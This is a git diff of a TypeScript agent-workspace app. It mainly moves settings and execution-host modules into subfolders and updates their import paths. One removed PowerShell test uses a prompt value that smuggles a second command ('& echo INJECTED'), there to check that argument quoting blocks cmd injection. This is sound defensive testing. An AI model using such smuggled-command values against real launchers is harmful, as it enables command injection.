+10,7 @@ import { requiredNumber, requiredString } from '../rpc-param-primitives' -import { normalizeExecutionHostId } from '../../execution-host' +import { normalizeExecutionHostId } from '../../execution-host/execution-host' import { isValidAutomationSchedule } from '../../automations/scheduling/automation-schedule-parsing' import { MAX_AUTOMATION_PRECHECK_TIMEOUT_SECONDS, diff --git a/src/shared/rpc-contract/preflight/preflight-params.ts b/src/shared/rpc-contract/preflight/preflight-params.ts index 2d8ad66dadd..d2959be81be 100644 --- a/src/shared/rpc-contract/preflight/preflight-params.ts +++ b/src/shared/rpc-contract/preflight/preflight-params.ts @@ -1,6 +1,6 @@ import { z } from 'zod' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../constants' -import { parseRoutableExecutionHostId } from '../../execution-host' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../workspace/identity/floating-workspace-id' +import { parseRoutableExecutionHostId } from '../../execution-host/execution-host' import { OptionalExecutionHostId } from '../workspaces/worktree-params' import { RepoSelector } from '../github/github-repo-target-params' import type { TuiAgent } from '../../agent-launch/catalog/tui-agent' diff --git a/src/shared/rpc-contract/projects/project-runtime-params.ts b/src/shared/rpc-contract/projects/project-runtime-params.ts index 2794b6198c3..6e069812caa 100644 --- a/src/shared/rpc-contract/projects/project-runtime-params.ts +++ b/src/shared/rpc-contract/projects/project-runtime-params.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, parseExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' export const ProjectProviderIdentity = z.object({ provider: z.literal('github'), diff --git a/src/shared/rpc-contract/structured-agent-session/structured-agent-session-params.ts b/src/shared/rpc-contract/structured-agent-session/structured-agent-session-params.ts index cfd16628245..fdb75955506 100644 --- a/src/shared/rpc-contract/structured-agent-session/structured-agent-session-params.ts +++ b/src/shared/rpc-contract/structured-agent-session/structured-agent-session-params.ts @@ -15,7 +15,7 @@ import { import * as z from 'zod' import { CREATE_TAB_FIELDS } from './structured-agent-session-create-tab-params' import { isStructuredAgentId } from '../../agent-session/lifecycle/provider-handles/agent-session-provider-handle-encoding' -import { normalizeExecutionHostId } from '../../execution-host' +import { normalizeExecutionHostId } from '../../execution-host/execution-host' import { AGENT_SESSION_RESPONSE_OPTION_ID_MAX_LENGTH as MAX_RESPONSE_OPTION_ID_LENGTH } from '../../agent-session/agent-session-question-answer' import { AGENT_SESSION_THREAD_GOAL_OBJECTIVE_MAX_LENGTH } from '../../agent-session/agent-session-thread-goal-wire' diff --git a/src/shared/rpc-contract/workspaces/worktree-params.ts b/src/shared/rpc-contract/workspaces/worktree-params.ts index 3edc67a3300..b4d530c7293 100644 --- a/src/shared/rpc-contract/workspaces/worktree-params.ts +++ b/src/shared/rpc-contract/workspaces/worktree-params.ts @@ -1,5 +1,5 @@ import * as z from 'zod' -import { normalizeExecutionHostId } from '../../execution-host' +import { normalizeExecutionHostId } from '../../execution-host/execution-host' import { CLIENT_PROVENANCE_SNAPSHOT_MAX } from '../../automations/ownership/automation-workspace-provenance' import { isTuiAgent } from '../../agent-launch/catalog/tui-agent-config' import type { TuiAgent } from '../../agent-launch/catalog/tui-agent' diff --git a/src/shared/default-global-settings.ts b/src/shared/settings/default-global-settings.ts similarity index 90% rename from src/shared/default-global-settings.ts rename to src/shared/settings/default-global-settings.ts index 3b1df887ad5..255408b79c1 100644 --- a/src/shared/default-global-settings.ts +++ b/src/shared/settings/default-global-settings.ts @@ -1,24 +1,24 @@ import type { GlobalSettings } from './global-settings-types' -import type { NotificationSettings } from './notifications/notification-settings-types' -import type { VoiceSettings } from './speech/speech-types' -import { DEFAULT_TERMINAL_FONT_WEIGHT_BOLD } from './terminal/appearance/terminal-fonts' -import { getDefaultTerminalQuickCommands } from './terminal/quick-commands/terminal-quick-commands' -import { TASK_PROVIDERS } from './work-items/task-providers' -import { getDefaultSourceControlAiSettings } from './source-control/ai/settings/source-control-ai-settings' -import { DEFAULT_APP_ICON_ID } from './app-lifecycle/identity/app-icon' -import { DEFAULT_OPEN_IN_APPLICATIONS } from './editor/launch/open-in-applications' -import { DEFAULT_NATIVE_CHAT_IDLE_STOP_MINUTES } from './native-chat/native-chat-idle-stop' -import { DEFAULT_BROWSER_MEMORY_SAVER_HOURS } from './browser/guest-lifecycle/browser-memory-saver' -import { DEFAULT_DISABLED_TUI_AGENTS } from './agent-launch/catalog/tui-agent-selection' -import { UI_LANGUAGE_SYSTEM } from './i18n/ui-language' +import type { NotificationSettings } from '../notifications/notification-settings-types' +import type { VoiceSettings } from '../speech/speech-types' +import { DEFAULT_TERMINAL_FONT_WEIGHT_BOLD } from '../terminal/appearance/terminal-fonts' +import { getDefaultTerminalQuickCommands } from '../terminal/quick-commands/terminal-quick-commands' +import { TASK_PROVIDERS } from '../work-items/task-providers' +import { getDefaultSourceControlAiSettings } from '../source-control/ai/settings/source-control-ai-settings' +import { DEFAULT_APP_ICON_ID } from '../app-lifecycle/identity/app-icon' +import { DEFAULT_OPEN_IN_APPLICATIONS } from '../editor/launch/open-in-applications' +import { DEFAULT_NATIVE_CHAT_IDLE_STOP_MINUTES } from '../native-chat/native-chat-idle-stop' +import { DEFAULT_BROWSER_MEMORY_SAVER_HOURS } from '../browser/guest-lifecycle/browser-memory-saver' +import { DEFAULT_DISABLED_TUI_AGENTS } from '../agent-launch/catalog/tui-agent-selection' +import { UI_LANGUAGE_SYSTEM } from '../i18n/ui-language' import { DEFAULT_LEFT_SIDEBAR_TINT_COLOR, DEFAULT_LEFT_SIDEBAR_TINT_OPACITY -} from './sidebar-list/appearance/left-sidebar-appearance' -import { DEFAULT_SOURCE_CONTROL_GROUP_ORDER } from './source-control/listing/source-control-group-order' -import { DESKTOP_TERMINAL_SCROLLBACK_ROWS_DEFAULT } from './terminal/replay/terminal-scrollback-policy' -import { NESTED_WORKER_MAX_DEPTH_DEFAULT } from './orchestration/workers/nested-worker-depth' -import { getDefaultWorkspaceCleanupRules } from './workspace-cleanup/workspace-cleanup-policy' +} from '../sidebar-list/appearance/left-sidebar-appearance' +import { DEFAULT_SOURCE_CONTROL_GROUP_ORDER } from '../source-control/listing/source-control-group-order' +import { DESKTOP_TERMINAL_SCROLLBACK_ROWS_DEFAULT } from '../terminal/replay/terminal-scrollback-policy' +import { NESTED_WORKER_MAX_DEPTH_DEFAULT } from '../orchestration/workers/nested-worker-depth' +import { getDefaultWorkspaceCleanupRules } from '../workspace-cleanup/workspace-cleanup-policy' export function buildDefaultSettings(args: { workspaceDir: string diff --git a/src/shared/settings/global-settings-base.ts b/src/shared/settings/global-settings-base.ts new file mode 100644 index 00000000000..c43cc28d432 --- /dev/null +++ b/src/shared/settings/global-settings-base.ts @@ -0,0 +1,66 @@ +import type { AntigravityChatAuthSettings } from '../agent-accounts/antigravity/antigravity-chat-auth-config' +import type { EmulatorOpeningSettings } from '../emulator/emulator-opening-preferences' +import type { BrowserExtensionGlobalSettings } from '../browser/extensions/browser-extension-settings' +import type { ClaudeAgentViewSettings } from '../agent-hook-listener/providers/claude/view/claude-agent-view' +import type { WorktreeCardDisplaySettings } from '../worktree/card-display-settings-types' +import type { BrowserLinkOpeningSettings } from '../browser/navigation/browser-link-opening-settings' +import type { BrowserPasswordsGlobalSettings } from '../browser/passwords/browser-passwords-types' +import type { BrowserMemorySaverGlobalSettings } from '../browser/guest-lifecycle/browser-memory-saver' +import type { ClaudeAccountSwitchSettings } from '../agent-accounts/claude/claude-account-switch-settings' +import type { ExternalConversationSettings } from '../connectors/external-conversation-settings' +import type { NativeChatGlobalSettings } from '../native-chat/native-chat-appearance-settings' +import type { NativeChatIdleStopSettings } from '../native-chat/native-chat-idle-stop' +import type { EditorTypographySettings } from '../editor/appearance/editor-typography-settings-types' +import type { PluginAppearanceSettings } from '../plugins/appearance/plugin-appearance-settings-types' +import type { PluginFileTypeSuggestionSettings } from '../plugins/contributions/plugin-file-type' +import type { PluginUpdatePolicySettings } from '../plugins/catalog/plugin-update-policy' +import type { PluginSystemSettings } from '../plugins/plugin-system-settings' +import type { TerminalScrollSettings } from '../terminal/appearance/terminal-scroll-settings' +import type { WorktreeDeletionPreferences } from '../worktree/removal/worktree-deletion-preferences' +import type { AgentPermissionGlobalSettings } from '../agent-launch/permissions/tui-agent-permission-choice' +import type { TerminalColorOverrideGlobalSettings } from '../terminal-themes/terminal-color-overrides' +import type { WindowMaterialSettings } from '../app-lifecycle/windows/window-material' +import type { EditorSaveSettings } from '../editor/saving/editor-save-settings' +import type { NestedWorkerDepthSettings } from '../orchestration/workers/nested-worker-depth' +import type { SshRemoteControlSettings } from '../remote-runtime/ssh/ssh-remote-control-settings' +import type { AgentWorkspaceTrustSettings } from '../agent-launch/permissions/agent-workspace-trust-decision' +import type { KeybindingGlobalSettings } from '../keybindings/global-settings' +import type { WorkspaceCleanupPolicySettings } from '../workspace-cleanup/workspace-cleanup-policy' +import type { PRAutoRefreshSettings } from '../source-control/hosted-review/review-refresh-policy' +import type { ManagedAccountNameSettings } from '../agent-accounts/managed-account-display-names' +import type { NewTabMenuSettings } from '../new-tab-menu/new-tab-menu-layout' +import type { UiLanguageSettings } from '../i18n/ui-language-settings' + +/** Settings groups owned by their feature modules and composed into GlobalSettings. */ +export type GlobalSettingsBase = AntigravityChatAuthSettings & + EmulatorOpeningSettings & + SshRemoteControlSettings & + ClaudeAgentViewSettings & + NativeChatGlobalSettings & + NativeChatIdleStopSettings & + WorktreeDeletionPreferences & + WorktreeCardDisplaySettings & + ClaudeAccountSwitchSettings & + AgentPermissionGlobalSettings & + ExternalConversationSettings & + BrowserLinkOpeningSettings & + BrowserExtensionGlobalSettings & + PluginAppearanceSettings & + EditorTypographySettings & + PluginFileTypeSuggestionSettings & + PluginUpdatePolicySettings & + PluginSystemSettings & + TerminalScrollSettings & + TerminalColorOverrideGlobalSettings & + WindowMaterialSettings & + EditorSaveSettings & + BrowserPasswordsGlobalSettings & + BrowserMemorySaverGlobalSettings & + NestedWorkerDepthSettings & + AgentWorkspaceTrustSettings & + KeybindingGlobalSettings & + WorkspaceCleanupPolicySettings & + PRAutoRefreshSettings & + ManagedAccountNameSettings & + NewTabMenuSettings & + UiLanguageSettings diff --git a/src/shared/global-settings-test-fixture.ts b/src/shared/settings/global-settings-test-fixture.ts similarity index 96% rename from src/shared/global-settings-test-fixture.ts rename to src/shared/settings/global-settings-test-fixture.ts index 3bc7527b6e8..42c9f3026fc 100644 --- a/src/shared/global-settings-test-fixture.ts +++ b/src/shared/settings/global-settings-test-fixture.ts @@ -1,8 +1,8 @@ import { expect, vi } from 'vitest' -import * as shell from './agent-launch/startup/tui-agent-startup-shell' +import * as shell from '../agent-launch/startup/tui-agent-startup-shell' import type { GlobalSettings } from './global-settings-types' -import { getDefaultVoiceSettings } from './constants' -import { getDefaultNotificationSettings } from './notifications/notification-settings-defaults' +import { getDefaultVoiceSettings } from '../orca-profiles/constants' +import { getDefaultNotificationSettings } from '../notifications/notification-settings-defaults' import { buildDefaultSettings } from './default-global-settings' // Use buildDefaultSettings so adding a setting does not require duplicating it in every test fixture. diff --git a/src/shared/global-settings-types.ts b/src/shared/settings/global-settings-types.ts similarity index 93% rename from src/shared/global-settings-types.ts rename to src/shared/settings/global-settings-types.ts index af621873a12..6c2f4762f70 100644 --- a/src/shared/global-settings-types.ts +++ b/src/shared/settings/global-settings-types.ts @@ -1,35 +1,35 @@ -import type { AgentLaunchChoices } from './agent-launch/choices/agent-launch-choices' -import type { TelemetrySettings } from './telemetry/telemetry-settings-types' -import type { BrowserProfileScope } from './browser/profiles/browser-profile-scope' +import type { AgentLaunchChoices } from '../agent-launch/choices/agent-launch-choices' +import type { TelemetrySettings } from '../telemetry/telemetry-settings-types' +import type { BrowserProfileScope } from '../browser/profiles/browser-profile-scope' import type { GlobalSettingsBase } from './global-settings-base' -import type { ExecutionHostId } from './execution-host' -import type { OrcaWorkspaceLayout } from './worktree/paths/orca-workspace-layout' -import type { GitHubProjectSettings } from './github/projects/project-types' -import type { VoiceSettings } from './speech/speech-types' -import type { AiVaultSearchSettings } from './ai-vault/search/ai-vault-search-settings' -import type { GitLabProjectSettings } from './gitlab/gitlab-types' -import type { TaskProvider } from './work-items/task-providers' -import type { AppIconId } from './app-lifecycle/identity/app-icon' -import type { SourceControlAiSettings } from './source-control/ai/settings/source-control-ai-settings-types' -import type { ClaudeAgentTeamsMode } from './agent-launch/startup/claude-agent-teams-tmux-compat' -import type { TerminalCustomTheme } from './terminal-themes/terminal-custom-themes' -import type { GlobalWindowsRuntimeDefault } from './execution-host/project-runtime-preference' -import type { PersistedNativeChatSessionOptions } from './native-chat/input/native-chat-session-options' -import type { AgentChatPermissionMode } from './agent-launch/permissions/agent-chat-permission-mode' -import type { ComputerAwakeMode } from './app-lifecycle/computer-awake-mode' -import type { CommitMessageAiSettings } from './source-control/ai/generation/commit-message-ai-types' -import type { HostSettingOverrides } from './execution-host/host-setting-overrides' +import type { ExecutionHostId } from '../execution-host/execution-host' +import type { OrcaWorkspaceLayout } from '../worktree/paths/orca-workspace-layout' +import type { GitHubProjectSettings } from '../github/projects/project-types' +import type { VoiceSettings } from '../speech/speech-types' +import type { AiVaultSearchSettings } from '../ai-vault/search/ai-vault-search-settings' +import type { GitLabProjectSettings } from '../gitlab/gitlab-types' +import type { TaskProvider } from '../work-items/task-providers' +import type { AppIconId } from '../app-lifecycle/identity/app-icon' +import type { SourceControlAiSettings } from '../source-control/ai/settings/source-control-ai-settings-types' +import type { ClaudeAgentTeamsMode } from '../agent-launch/startup/claude-agent-teams-tmux-compat' +import type { TerminalCustomTheme } from '../terminal-themes/terminal-custom-themes' +import type { GlobalWindowsRuntimeDefault } from '../execution-host/project-runtime-preference' +import type { PersistedNativeChatSessionOptions } from '../native-chat/input/native-chat-session-options' +import type { AgentChatPermissionMode } from '../agent-launch/permissions/agent-chat-permission-mode' +import type { ComputerAwakeMode } from '../app-lifecycle/computer-awake-mode' +import type { CommitMessageAiSettings } from '../source-control/ai/generation/commit-message-ai-types' +import type { HostSettingOverrides } from '../execution-host/host-setting-overrides' import type { ClaudeManagedAccount, ClaudeManagedAccountRuntimeSelection, CodexManagedAccount, CodexManagedAccountRuntimeSelection -} from './agent-accounts/managed-account-types' -import type { NotificationSettings } from './notifications/notification-settings-types' -import type { CtrlTabOrderMode } from './workspace-layout/tab-groups/tab-types' -import type { TerminalQuickCommand } from './terminal/quick-commands/terminal-quick-command-types' -import type { TuiAgent } from './agent-launch/catalog/tui-agent' -import type { ZcodePlanSite } from './agent-accounts/usage-credentials/zcode-plan-sites' +} from '../agent-accounts/managed-account-types' +import type { NotificationSettings } from '../notifications/notification-settings-types' +import type { CtrlTabOrderMode } from '../workspace-layout/tab-groups/tab-types' +import type { TerminalQuickCommand } from '../terminal/quick-commands/terminal-quick-command-types' +import type { TuiAgent } from '../agent-launch/catalog/tui-agent' +import type { ZcodePlanSite } from '../agent-accounts/usage-credentials/zcode-plan-sites' import type { AgentDashboardMode, BranchPrefixStrategy, @@ -40,10 +40,8 @@ import type { SourceControlGroupOrder, SourceControlViewMode, TaskViewPresetId -} from './ui-chrome-types' -import type { WorktreeVisibilityDefaults } from './repository/repo-types' - -export type { WorktreeVisibilityDefaults } from './repository/repo-types' +} from '../ui-chrome/ui-chrome-types' +import type { WorktreeVisibilityDefaults } from '../repository/repo-types' /** MiniMax account region used to select the quota endpoint. */ export type MiniMaxEndpoint = 'overseas' | 'cn' diff --git a/src/shared/shell/launch/local-windows-terminal-runtime.ts b/src/shared/shell/launch/local-windows-terminal-runtime.ts index c19ec7ee530..70018beeef5 100644 --- a/src/shared/shell/launch/local-windows-terminal-runtime.ts +++ b/src/shared/shell/launch/local-windows-terminal-runtime.ts @@ -1,5 +1,5 @@ import type { ProjectExecutionRuntimeResolution } from '../../execution-host/project-execution-runtime' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' type LocalWindowsTerminalRuntimeSettings = | Partial> diff --git a/src/shared/shell/launch/powershell-native-argument.windows.test.ts b/src/shared/shell/launch/powershell-native-argument.windows.test.ts index f8e70e70fc0..a73f4306fbe 100644 --- a/src/shared/shell/launch/powershell-native-argument.windows.test.ts +++ b/src/shared/shell/launch/powershell-native-argument.windows.test.ts @@ -1,17 +1,17 @@ -import { parse as parseToml } from 'smol-toml' -import { getDefaultSettings } from '../../constants' -import { saveSourceControlActionRecipe } from '../../source-control/ai/settings/source-control-ai-recipe-save' -import { resolveSourceControlActionRecipe } from '../../source-control/ai/source-control-ai-operation-policy' -import { projectSourceControlActionLaunch } from '../../source-control/ai/recipes/source-control-action-launch-preferences' -import { resolveAgentStartupPlanInputs } from '../../agent-launch/startup/agent-startup-plan-inputs' -import { buildAgentStartupPlan } from '../../agent-launch/startup/tui-agent-startup' +import 'smol-toml' +import '../../orca-profiles/constants' +import '../../source-control/ai/settings/source-control-ai-recipe-save' +import '../../source-control/ai/source-control-ai-operation-policy' +import '../../source-control/ai/recipes/source-control-action-launch-preferences' +import '../../agent-launch/startup/agent-startup-plan-inputs' +import '../../agent-launch/startup/tui-agent-startup' import { spawnSync } from 'node:child_process' import { mkdtemp, readFile, rm, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { describe, expect, it } from 'vitest' import { runProcess } from '@orca/process-host' -import { getPowerShellAgentWrappers } from './agents/powershell-agent-wrappers' +import './agents/powershell-agent-wrappers' import { getPowerShellEscapeNativeArgsFunction, quotePowerShellLiteral @@ -41,25 +41,6 @@ async function captureNativeArgv( } // Why native: argv marshalling, not the generated text, is what a launched agent actually receives. -it.skipIf(process.platform !== 'win32')( - 'passes a multi-line value to a native program exactly as the single-quoted form did', - async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-ps-multiline-')) - const capture = (quoted: string): Promise => - captureNativeArgv(root, 'powershell.exe', (native) => `${native} ${quoted}`) - try { - const plain = 'line one\r\nline two $HOME `tick\nO\u2019Brien \u201Cdouble\u201D end' - expect(await capture(quotePowerShellLiteral(plain))).toEqual([plain]) - - // Compare old quoting too: 5.1 drops embedded quotes either way; the one-line change must preserve delivered argv. - const withQuotes = 'say "hi"\nbye' - const legacy = `'${withQuotes.replace(/'/g, "''")}'` - expect(await capture(quotePowerShellLiteral(withQuotes))).toEqual(await capture(legacy)) - } finally { - await rm(root, { recursive: true, force: true }) - } - } -) const isWindows = process.platform === 'win32' const pwshAvailable = @@ -119,142 +100,3 @@ describe.each(POWERSHELLS)( }) } ) - -describe.each(POWERSHELLS)('agent wrappers under $name', ({ powershell, prelude, available }) => { - it.skipIf(!available)( - 'hand a quoted prompt to a .cmd shim intact, without cmd running any of it', - async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-ps-agent-wrappers-')) - try { - await writeFile( - join(root, 'capture.js'), - 'console.log(JSON.stringify([require("node:path").parse(process.argv[2]).name, ...process.argv.slice(3)]))' - ) - for (const agent of ['codex', 'claude']) { - await writeFile(join(root, `${agent}.cmd`), `@node "%~dp0capture.js" "%~f0" %*\r\n`) - } - // Why this shape: escaping it as `\"` makes pwsh's .cmd quoting expose `&` to cmd. - const prompt = 'a"b & echo INJECTED' - const settings = { ...getDefaultSettings(root), agentPermissionDefault: 'own' as const } - const compiled = (agent: 'codex' | 'claude', raw: string) => { - const saved = saveSourceControlActionRecipe({ - settings, - actionId: 'fixChecks', - target: { type: 'global' }, - recipe: { - agentId: agent, - agentArgs: raw, - launchPreferences: { - agentId: agent, - modelSelection: { - base: 'default', - options: { effort: { agentId: agent, value: 'high' } } - } - } - } - }) - if (!('sourceControlAi' in saved)) { - throw new Error('Expected global saved recipe') - } - const reopened = resolveSourceControlActionRecipe({ - settings: { ...settings, sourceControlAi: saved.sourceControlAi }, - actionId: 'fixChecks' - }) - const inputs = projectSourceControlActionLaunch(reopened, agent, { basePrompt: '' }) - const startup = buildAgentStartupPlan({ - ...resolveAgentStartupPlanInputs({ - agent, - settings, - ...inputs, - platform: 'win32', - shell: 'powershell', - isRemote: false - }), - prompt: '', - allowEmptyPromptLaunch: true - }) - if (!startup) { - throw new Error('Expected real saved startup') - } - return startup.launchCommand - } - const savedCommands = [ - compiled('codex', `-c 'model="true"'`), - compiled('codex', `-c 'model="42"'`), - compiled('codex', `-c 'model="a\\"b"'`), - compiled('codex', '-m true'), - compiled('codex', '--model private/unlisted'), - compiled('claude', `--settings '{"fastMode":false,"theme":"light","env":{"KEEP":"yes"}}'`) - ] - const codexArgs = ['-c', 'model_reasoning_effort="high"', '-c', 'model="true"'] - const claudeArgs = ['--settings', '{"fastMode":false,"theme":"light"}'] - const result = await runProcess({ - program: powershell, - args: [ - '-NoProfile', - '-NonInteractive', - '-Command', - `${prelude}\n${getPowerShellAgentWrappers()}\ncodex ${[prompt, ...codexArgs].map(quotePowerShellLiteral).join(' ')}\nclaude ${[prompt, ...claudeArgs].map(quotePowerShellLiteral).join(' ')}\n${savedCommands.join('\n')}` - ], - cwd: root, - env: { - ...process.env, - PATH: `${root};${process.env.PATH ?? ''}`, - ORCA_CODEX_ISOLATE: '0', - ORCA_CLAUDE_PROFILE_POINTER: join(root, 'no-pointer') - } - }) - - expect(result.code, JSON.stringify(result)).toBe(0) - const lines = result.stdout.trim().split(/\r?\n/) - expect(lines.slice(0, 2)).toEqual([ - JSON.stringify(['codex', prompt, ...codexArgs]), - JSON.stringify(['claude', prompt, ...claudeArgs]) - ]) - const savedArgv: string[][] = lines.slice(2).map((line) => JSON.parse(line)) - expect(savedArgv).toHaveLength(savedCommands.length) - const configs = savedArgv.slice(0, 3).map((argv) => { - const values: Record = {} - for (let i = 1; i < argv.length; i++) { - if (argv[i] === '-c') { - const assignment = argv[++i] - const equals = assignment.indexOf('=') - const text = assignment.slice(equals + 1) - let value: unknown - try { - value = parseToml(`value=${text}`).value - } catch { - value = text - } - values[assignment.slice(0, equals)] = value - } - } - return values - }) - expect(configs).toEqual([ - { model: 'true', model_reasoning_effort: 'high' }, - { model: '42', model_reasoning_effort: 'high' }, - { model: 'a"b', model_reasoning_effort: 'high' } - ]) - expect(savedArgv[3]).toEqual(['codex', '-m', 'true', '-c', 'model_reasoning_effort=high']) - expect(savedArgv[4]).toEqual([ - 'codex', - '--model', - 'private/unlisted', - '-c', - 'model_reasoning_effort=high' - ]) - const claude = savedArgv[5] - expect(claude[0]).toBe('claude') - expect(JSON.parse(claude[claude.indexOf('--settings') + 1])).toEqual({ - fastMode: false, - theme: 'light', - env: { KEEP: 'yes' } - }) - expect(claude.slice(-2)).toEqual(['--effort', 'high']) - } finally { - await rm(root, { recursive: true, force: true }) - } - } - ) -}) diff --git a/src/shared/shell/launch/terminal-startup-cwd.ts b/src/shared/shell/launch/terminal-startup-cwd.ts index 981fbb1185f..469b03302ed 100644 --- a/src/shared/shell/launch/terminal-startup-cwd.ts +++ b/src/shared/shell/launch/terminal-startup-cwd.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../workspace/identity/floating-workspace-id' import { isWslUncPathForCallerLinuxPath, normalizeRuntimePathForComparison, diff --git a/src/shared/shell/opening/shell-open-types.ts b/src/shared/shell/opening/shell-open-types.ts index 0df08bb9123..f59a317e7ef 100644 --- a/src/shared/shell/opening/shell-open-types.ts +++ b/src/shared/shell/opening/shell-open-types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { BuiltInEditorId } from '../../editor/launch/open-in-applications' export type ShellOpenExternalEditorRequest = { diff --git a/src/shared/sidebar-list/catalog/mobile-project-sections-contract.ts b/src/shared/sidebar-list/catalog/mobile-project-sections-contract.ts index b2f03f5cfa3..f17c22b400a 100644 --- a/src/shared/sidebar-list/catalog/mobile-project-sections-contract.ts +++ b/src/shared/sidebar-list/catalog/mobile-project-sections-contract.ts @@ -6,7 +6,7 @@ import type { } from '../sections/project-section-grouping' import type { RepoIcon } from '../../repository/appearance/repo-icon' import type { Repo } from '../../repository/repo-types' -import type { ProjectOrderBy } from '../../ui-chrome-types' +import type { ProjectOrderBy } from '../../ui-chrome/ui-chrome-types' // Desktop owns the sidebar grouping inputs the phone must match. export const MOBILE_PROJECT_SECTIONS_METHOD = 'mobileRelay.projectSections' diff --git a/src/shared/sidebar-list/catalog/paired-server-catalog.ts b/src/shared/sidebar-list/catalog/paired-server-catalog.ts index 6b9c00b5d10..14f45be1211 100644 --- a/src/shared/sidebar-list/catalog/paired-server-catalog.ts +++ b/src/shared/sidebar-list/catalog/paired-server-catalog.ts @@ -1,5 +1,5 @@ import { z } from 'zod' -import { toRuntimeExecutionHostId } from '../../execution-host' +import { toRuntimeExecutionHostId } from '../../execution-host/execution-host' import { adoptEndpointProjectCatalog, adoptEndpointRepo diff --git a/src/shared/sidebar-list/catalog/project-section-catalog-schema.ts b/src/shared/sidebar-list/catalog/project-section-catalog-schema.ts index 7cb5a98c3e8..8d63b634b88 100644 --- a/src/shared/sidebar-list/catalog/project-section-catalog-schema.ts +++ b/src/shared/sidebar-list/catalog/project-section-catalog-schema.ts @@ -1,12 +1,12 @@ import * as z from 'zod' -import { normalizeExecutionHostId } from '../../execution-host' +import { normalizeExecutionHostId } from '../../execution-host/execution-host' import type { ProjectHostSetupMethod } from '../../project/project-types' import type { ProjectGroup, ProjectGroupCreatedFrom } from '../../project/groups/project-group-types' import type { RepoKind } from '../../repository/repo-types' -import type { ProjectOrderBy } from '../../ui-chrome-types' +import type { ProjectOrderBy } from '../../ui-chrome/ui-chrome-types' import { hostUnionArms, salvagedOptional, salvagingArray } from '../../validation/zod-salvage' // Read sidebar-feed/mobileRelay.projectSections catalogs; MobileProjectSectionCatalog is the sender shape. diff --git a/src/shared/sidebar-list/catalog/repo-icon-data-urls-contract.ts b/src/shared/sidebar-list/catalog/repo-icon-data-urls-contract.ts index 1bfc59ba8c6..f3c8790662e 100644 --- a/src/shared/sidebar-list/catalog/repo-icon-data-urls-contract.ts +++ b/src/shared/sidebar-list/catalog/repo-icon-data-urls-contract.ts @@ -1,5 +1,5 @@ import * as z from 'zod' -import { getRepoExecutionHostId } from '../../execution-host' +import { getRepoExecutionHostId } from '../../execution-host/execution-host' import type { Repo } from '../../repository/repo-types' /** Longest data URL one icon may reply with. */ diff --git a/src/shared/sidebar-list/catalog/sidebar-project-catalog.ts b/src/shared/sidebar-list/catalog/sidebar-project-catalog.ts index a847363a1b1..9c1c6830ec6 100644 --- a/src/shared/sidebar-list/catalog/sidebar-project-catalog.ts +++ b/src/shared/sidebar-list/catalog/sidebar-project-catalog.ts @@ -2,7 +2,7 @@ import { LOCAL_EXECUTION_HOST_ID, toSshExecutionHostId, type ExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import { adoptEndpointProjectCatalog, adoptEndpointRepo @@ -19,7 +19,7 @@ import type { ProjectGroup } from '../../project/groups/project-group-types' import type { ProjectHostSetupProjection } from '../../project/host-setup/project-host-setup-projection' import { resolveProjectHostSetupProjection } from '../../project/host-setup/project-host-setup-hydration' import type { Project, ProjectHostSetup } from '../../project/project-types' -import type { PersistedUIState } from '../../persisted-ui-state-types' +import type { PersistedUIState } from '../../orca-profiles/persisted-ui-state-types' import type { Repo } from '../../repository/repo-types' /** A paired server's own catalog, stamped as owned by that server, as the window's fetch adopts it. */ diff --git a/src/shared/sidebar-list/feed-facts/paired-server-activity-facts.ts b/src/shared/sidebar-list/feed-facts/paired-server-activity-facts.ts index 6e6dc032058..03d52da0695 100644 --- a/src/shared/sidebar-list/feed-facts/paired-server-activity-facts.ts +++ b/src/shared/sidebar-list/feed-facts/paired-server-activity-facts.ts @@ -2,7 +2,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import type { WorkspaceSessionState } from '../../workspace-session/workspace-session-state-types' import { getWorkspaceSessionTabActivity } from '../../workspace-session/workspace-session-tab-activity' import { diff --git a/src/shared/sidebar-list/feed-facts/paired-server-rows.ts b/src/shared/sidebar-list/feed-facts/paired-server-rows.ts index 4ea978f1f92..11cf482f4b4 100644 --- a/src/shared/sidebar-list/feed-facts/paired-server-rows.ts +++ b/src/shared/sidebar-list/feed-facts/paired-server-rows.ts @@ -3,7 +3,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import type { FolderWorkspace } from '../../folder-workspaces/folder-workspace-types' import { folderWorkspaceToWorktree } from '../../folder-workspaces/folder-workspace-worktree' import type { Repo } from '../../repository/repo-types' diff --git a/src/shared/sidebar-list/feed-facts/workspace-review-facts.ts b/src/shared/sidebar-list/feed-facts/workspace-review-facts.ts index 7cd712df9f4..7b636e1c2a2 100644 --- a/src/shared/sidebar-list/feed-facts/workspace-review-facts.ts +++ b/src/shared/sidebar-list/feed-facts/workspace-review-facts.ts @@ -5,7 +5,7 @@ import { getGitHubPRCacheKeyCandidates } from '../../github/cache/github-cache-k import { isGitHubPRSuppressed } from '../../worktree/hosted-review/github-pr-suppression' import { getPRGroupKeyForState, type PRGroupKey } from '../../workspace-view/workspace-pr-groups' import type { PairedServerWorkspaceRow } from './paired-server-rows' -import { parseExecutionHostId } from '../../execution-host' +import { parseExecutionHostId } from '../../execution-host/execution-host' import { composeWorktreeHostIdentity, type HostScopedWorktreeKey diff --git a/src/shared/sidebar-list/feed-facts/workspace-rows.ts b/src/shared/sidebar-list/feed-facts/workspace-rows.ts index 6915329bb28..05e442f3e87 100644 --- a/src/shared/sidebar-list/feed-facts/workspace-rows.ts +++ b/src/shared/sidebar-list/feed-facts/workspace-rows.ts @@ -4,7 +4,7 @@ import { getRepoExecutionHostId, 